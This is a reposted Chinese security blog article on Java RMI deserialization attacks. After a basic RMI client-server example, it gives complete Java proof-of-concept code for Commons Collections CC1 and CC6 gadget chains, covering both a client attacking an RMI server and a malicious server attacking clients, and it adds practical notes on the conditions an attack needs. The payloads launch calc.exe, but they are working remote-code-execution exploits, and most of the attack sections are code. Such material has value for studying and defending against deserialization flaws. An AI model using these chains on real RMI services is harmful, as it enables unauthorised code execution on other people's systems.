文章总结: 文章系统梳理RMI反序列化攻击面:先给出服务端-客户端双向CC1/CC6链完整POC,再指出bind/rebind因含readObject可注入,lookup可接收恶意对象;强调服务端方法须收Object/HashMap、客户端须含对应组件才能RCE,附端口1099、接口一致等实操要点,可快速复现与防御。 综合评分: 85 文章分类: 漏洞分析,代码审计,红队,内网渗透,漏洞POC
JAVA安全之RMI注入与攻击方式
原创
secureyang secureyang
secureyang
2026年1月19日 20:01 北京
本公众号所发文章仅用于技术交流学习,不得用于任何违法犯罪目的,一切后果自行承担,与本公众号以及作者无关。
RMI注入与攻击方式一、简介二、RMI简单案例服务端远程对象接口声明类远程对象接口实现类注册中心代码客户端远程对象接⼝声明类远程对象请求执行类三、攻击方式客户端攻击服务端案例-CC1接口声明类服务端接口实现类服务端注册中心类客户端攻击代码案例-CC6接口声明类服务端接口实现类与注册中心合为一体客户端攻击测试代码服务端攻击客户端案例-CC6服务端接口声明类服务端接口实现类(主要是用来构造恶意类并注册执行)客户端RMI请求代码四、RMI注入总结
RMI注入与攻击方式
本篇文章所使用项目框架如下图所示
一、简介
RMI 全称 Remote Method Invocation(远程⽅法调⽤),即在⼀个 JVM 中 Java 程序调⽤在另⼀ 个远程 JVM 中运⾏的 Java 程序,这个远程 JVM 既可以在同⼀台实体机上,也可以在不同的实体机 上,两者之间通过⽹络进⾏通信。
RMI 依赖的通信协议为 JRMP(Java Remote Message Protocol,Java 远程消息交换协议),该协 议为 Java 定制,要求服务端与客户端都为 Java 编写。
RMI 包含三个部分:
- Server:服务端通过绑定远程对象,这个对象可以封装很多⽹络操作,也就是 Socket
- Client:客户端调⽤服务端的⽅法
- Register:提供服务注册与服务获取,即 Server 端向 Registry 注册服务,⽐如 地址、端⼝等⼀些信息,Client 端从 Registry 获取远程对象的⼀些信息,如地址、端⼝等,然后进⾏远 程调⽤。
二、RMI简单案例
个人简单的对RMI的理解就是:
服务端通过五种方式,将内部声明和实现的类绑定到注册中心,通过 socket 对象开放一个RMI的服务,可供其他外部机器访问。
然后,客户端使用 lookup 解析 socket 对象从而连接到服务器开放的RMI服务,此时,如果服务端允许接收一个 Object 对象作为参数,那么我们就可以对服务端进行反序列化攻击,造成客户端攻击服务端;相反,如果客户端本地存在Common Collections 组件,且具备相对应的反序列化链条,那么此时再服务端编写好恶意对象,客户端请求时,服务端将恶意对象传给客户端,造成服务端攻击客户端。
五种绑定方式分别如下:
- 0->bind
- 1->list
- 2->lookup
- 3->rebind
- 4->unbind
前面所对应的数字分别代表了 java 中RMI服务的源码,源码中使用了 switch case 选择器,每 case 一种数字,代表选择一种方法,而这五种方法中,一般只有 bind 和 rebind 存在反序列化漏洞,因为他们两个的 case 中,有 (Remote)var11.readObject() 这样的代码,他们两个主要用来注册恶意对象,而 lookup 也是导致反序列化漏洞的原因之一,因为 lookup 是专门用来获取并反序列化恶意对象的。
而 list 中根本没有 readobject 方法,因此 list 是完全无法攻击的
而 lookup 与 unbind 虽然内部也有 readobject 方法,但是他们二者的 readobject 方法是被强制类型转换为 String 类型的,因此其他的 Object 对象传入最终稿也无法实现。
服务端
远程对象接口声明类
声明一个接口,该接口内可以再声明其他的方法,以便后续使用和调用,而且客户端与服务端共用该接口(因为现在是在测试),而且测试的时候尽量将客户端与服务端放在一个包中,不容易报错。
RemoteObj.java
packagecom.rmi;
importjava.rmi.Remote;
importjava.rmi.RemoteException;
publicinterfaceRemoteObjextendsRemote {
publicStringsayHello(Stringkeywords) throwsRemoteException;
}
此远程接⼝要求作⽤域为 public; 继承 Remote 接⼝; 让其中声明的接⼝⽅法抛出异常。
远程对象接口实现类
实现上面声明的接口,其实主要是实现接口中的方法,用重写的方式
RemoteObjImpl.java
packagecom.rmi;
importjava.rmi.RemoteException;
importjava.rmi.server.UnicastRemoteObject;
publicclassRemoteObjImplextendsUnicastRemoteObjectimplementsRemoteObj {
publicRemoteObjImpl() throwsRemoteException {
}
// UnicastRemoteObject.exportObject(this, 0); //如果不能继承UnicastRemoteObject就需要⼿⼯导出
@Override
publicStringsayHello(Stringkeywords) throwsRemoteException {
System.out.println(" 我是服务端的 sayHello");
returnkeywords;
}
}
实现远程接⼝ 继承 UnicastRemoteObject 类,⽤于⽣成 Stub(存根)和 Skeleton(⻣架)。
构造函数需要抛出⼀个RemoteException错误
实现类中使⽤的对象必须都可序列化,即都继承 java.io.Serializable
注册中心代码
RMIServer.java
packagecom.rmi;
importjava.net.MalformedURLException;
importjava.rmi.AlreadyBoundException;
importjava.rmi.RemoteException;
importjava.rmi.registry.LocateRegistry;
importjava.rmi.registry.Registry;
// 实例化远程对象
// 创建注册中⼼
publicclassRMIServer {
publicstaticvoidmain(String[] args) throwsRemoteException, AlreadyBoundException, MalformedURLException {
RemoteObjremoteObj=newRemoteObjImpl();
Registryregistry=LocateRegistry.createRegistry(1099);
// 绑定对象示例到注册中⼼
registry.bind("remoteObj", remoteObj);
}
}
创建注册中⼼,其中端⼝默认是1099,然后进⾏绑定到接⼝实现类当中。bind 的
客户端
客户端只需从从注册器中获取远程对象,然后调⽤⽅法即可。当然客户端还需要⼀个远程对象的接 ⼝,不然不知道获取回来的对象是什么类型的。
在客户端这⾥,也需要定义⼀个远程对象的接⼝
远程对象接⼝声明类
RemoteObj.java
packagecom.rmi;
importjava.rmi.Remote;
importjava.rmi.RemoteException;
publicinterfaceRemoteObjextendsRemote {
publicStringsayHello(Stringkeywords) throwsRemoteException;
}
客户端的接口声明类与服务端的接口声明类代码是一模一样的,客户端与服务端共享该接口代码
远程对象请求执行类
RMIClient.java
packagecom.rmi;
importjava.rmi.registry.LocateRegistry;
importjava.rmi.registry.Registry;
publicclassRMIClient {
publicstaticvoidmain(String[] args) throwsException {
Registryregistry=LocateRegistry.getRegistry("127.0.0.1", 1099);
RemoteObjremoteObj= (RemoteObj) registry.lookup("remoteObj");
remoteObj.sayHello("hello");
}
}
ok,接下来进行运行测试
首先运行服务端
然后运行客户端
此时我们看服务端运行结果是否执行了 sayHello 方法输出了 hello
ok,没有问题
三、攻击方式
再本文章中,只介绍 客户端攻击服务端 与 服务端攻击客户端 两种方法
客户端攻击服务端
当客户端调用远程方法时,该远程方法若是接收一个 Object 参数,则客户端就可以发送一个恶意对象,而网络传输中肯定是用序列化数据传输对象的,那么服务端接收到数据势必会对其进行反序列化从而获得真实的对象,如果服务端含有存在漏洞的组件,此时我们就可以进行攻击。
利用条件如下:
- Server端有能够传递Object对象的远程⽅法
- Server端安装有包含反序列化漏洞的相关组件 (比如CC)
案例-CC1
接口声明类
User.java
packagecom.rmi.C_Attack_S;
importjava.rmi.RemoteException;
publicinterfaceUserextendsjava.rmi.Remote {
publicObjectgetUser() throwsRemoteException;
publicvoidaddUser(Objectuser) throwsRemoteException;
}
服务端接口实现类
UserImpl.java
// 文件: src/main/java/com/rmi/server/UserImpl.java
packagecom.rmi.C_Attack_S.CC1;
importjava.rmi.RemoteException;
importjava.rmi.server.UnicastRemoteObject;
publicclassUserImplextendsUnicastRemoteObjectimplementsUser {
protectedUserImpl() throwsRemoteException {
super(); // 必须调用父类构造函数
}
@Override
publicObjectgetUser() throwsRemoteException {
System.out.println("Server: getUser() called");
return"testUser";
}
@Override
publicvoidaddUser(Objectuser) throwsRemoteException {
System.out.println("Server: addUser() called with: "+user);
}
}
服务端注册中心类
RegistryClass.java
packagecom.rmi.C_Attack_S.CC1;
// 文件: src/main/java/com/rmi/server/RegistryClass.java
importjava.rmi.registry.LocateRegistry;
importjava.rmi.registry.Registry;
publicclassRegistryClass {
publicstaticvoidmain(String[] args) {
try {
// 创建远程对象实例
UseruserObj=newUserImpl();
// 创建注册中心(端口1099)
Registryregistry=LocateRegistry.createRegistry(1099);
// 绑定对象到注册中心
registry.bind("hello", userObj);
System.out.println("Service 'hello' registered successfully!");
} catch (Exceptione) {
e.printStackTrace();
}
}
}
客户端攻击代码
LocalUserClientAttack2ServerByCC1.java
package com.rmi.C_Attack_S.CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Collections;
import java.util.HashMap;
import java.util.Map;
public class LocalUserClientAttack2ServerByCC1 {
public static void main(String[] args) throws Exception {
String execArgs = "cmd /c calc";
// 构造Transformer链(添加Set转换)
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{execArgs}),
new ConstantTransformer(Collections.EMPTY_SET) // 强制转换为Set
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
// 构造AnnotationInvocationHandler(使用Override注解)
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
.getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) ctor.newInstance(Override.class, lazyMap);
// 生成动态代理
Map proxyMap = (Map) Proxy.newProxyInstance(
LazyMap.class.getClassLoader(),
new Class[]{Map.class},
handler
);
// 再次包装到AnnotationInvocationHandler
InvocationHandler finalHandler = (InvocationHandler) ctor.newInstance(Override.class, proxyMap);
// 触发攻击
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
User user = (User) registry.lookup("hello");
user.addUser(finalHandler);
}
}
首先,运行服务端
然后运行客户端
案例-CC6
接口声明类
User.java
package com.rmi.C_Attack_S;
import java.rmi.RemoteException;
public interface User extends java.rmi.Remote {
public Object getUser() throws RemoteException;
public void addUser(Object user) throws RemoteException;
}
服务端接口实现类与注册中心合为一体
service.java
package com.rmi.C_Attack_S.CC6;
import com.rmi.C_Attack_S.User;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.AlreadyBoundException;
import java.rmi.server.UnicastRemoteObject;
public class service extends UnicastRemoteObject implements User {
protected service() throws RemoteException {
}
@Override
public Object getUser() throws RemoteException {
return null;
}
@Override
public void addUser(Object user) throws RemoteException {
System.out.println("我接受Objetc类型");
}
public void reistry() throws RemoteException, AlreadyBoundException {
service service = new service();
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("hello",service);
}
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
new service().reistry();
}
}
客户端攻击测试代码
RMI_Client.java
package com.rmi.C_Attack_S.CC6;
import com.rmi.C_Attack_S.User;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Field;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class RMI_Client {
public HashMap CC6_curl() throws NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"cmd /c calc.exe"})
};
ChainedTransformer ct = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "2");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "3");
lazymap.remove("2");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap, ct);
return hashMap;
}
public static void main(String[] args) throws RemoteException, NotBoundException, NoSuchFieldException, IllegalAccessException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
User a = (User) registry.lookup("hello");
a.addUser(new RMI_Client().CC6_curl());
}
}
先运行服务端
然后运行客户端代码
此时 服务端 控制台有内容输出
说明,addUser() 方法确实成功执行了
服务端攻击客户端
其实这个真的就是 客户端攻击服务端 方式反过来。
客户端攻击服务端 是由客户端构造恶意类并序列化传递给服务端,然后服务端反序列化导致RCE;
而 服务端攻击客户端 就是直接在服务端的RMI上构造好恶意类,然后坐等客户端请求他的RMI,一旦请求,就把恶意序列化数据传递给客户端
在RMI过程中,Server会把远程⽅法执⾏的结果返回给Client 端,如果返回的结果是⼀个对象,那么这个对象会被序列化传输,并在Client端被反序列化。如果 我们搭建恶意Server端,返回给Client端恶意对象,就可以达到攻击的效果(前提是客户端得有存在漏洞的组件)
案例-CC6
服务端接口声明类
User.java
package com.rmi.S_Attack_C.CC6;
import java.rmi.RemoteException;
import java.util.HashMap;
import java.util.List;
public interface User extends java.rmi.Remote {
public Object CC6_curl() throws RemoteException, NoSuchFieldException, IllegalAccessException;
}
服务端接口实现类(主要是用来构造恶意类并注册执行)
service.java
package com.rmi.S_Attack_C.CC6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Field;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
public class service extends UnicastRemoteObject implements User {
protected service() throws RemoteException {
}
@Override
public Object CC6_curl() throws RemoteException, NoSuchFieldException,
IllegalAccessException {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"cmd /c calc.exe"})
};
ChainedTransformer ct = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "2");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "3");
lazymap.remove("2");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap, ct);
return hashMap;
}
public void reistry() throws RemoteException, AlreadyBoundException {
service service = new service();
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("hello",service);
}
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
new service().reistry();
}
}
客户端RMI请求代码
RMI_Client.java
package com.rmi.S_Attack_C.CC6;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMI_Client {
public static void main(String[] args) throws RemoteException, NotBoundException, NoSuchFieldException, IllegalAccessException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
User a = (User) registry.lookup("hello");
Object o = a.CC6_curl();
}
}
先运行服务端
再运行客户端
四、RMI注入总结
-
客户端所用的接口声明类要和服务端的完全一致(完全用一个代码就好了)
-
服务端的接口实现类必须要接收Object类型的参数才行,或者专门接收一个 HashMap 类型的参数也行,不过这样就限制死了只能打CC链
-
注册中心绑定的对象是接口实现类的实例化对象
-
客户端 lookup 的参数值必须和 服务端bind的值一模一样,如这里的
"remoteObj" -
客户端 lookup 之后的对象只能调用服务端实现的函数方法
-
RMI默认端口是1099
rmi服务原理:
声明接口,实现接口,将实现的接口类注册到注册中心去,然后运行的服务其实就是这个注册中心服务,
原因在于注册实现类的时候,使用的注册方法,比如 bind 或者 rebind 方法存在的有readobject方法,因此可以造成反序列化,但就比如说 list 方法内部,就直接没有 readobject 方法,因此 list 方法注册的注册中心就不存在 rmi 反序列化,而且如果要打的话,前提是注册中心所注册的实现类需要接受一个Object类型的参数,实在不行 hashmap 类型的参数也行,为啥呢,就比如说 CC1 链的起点就是以 hashmap 类的实例产生的,当然如果注册中心所注册的实现类接受的 object 参数更好,然后,同时必须要求目标含有反序列化漏洞的组件才行,不然我作为攻击者,给你一个普通人传一个CC链的POC,能触发啥呀。
作为攻击者,就是写好反序列化链子的POC,然后将其返回一个类,然后去请求 rmi 服务,然后调用 rmi 服务中接收 Object 类型参数的方法,将 POC 返回的序列化恶意类作为参数传递给该方法,此时在注册的时候就会触发(前提是注册中心用的是具有 readobject 方法的注册方法,比如 bind 或者rebind),那为什么能传递给这个方法呢,我们是审计,是已经知道源码的,所以已经知道这个方法叫什么名称,直接获取 rmi 服务,然后执行该方法。具体内容看上面报告。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:secureyang secureyang secureyang《JAVA安全之RMI注入与攻击方式》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。












评论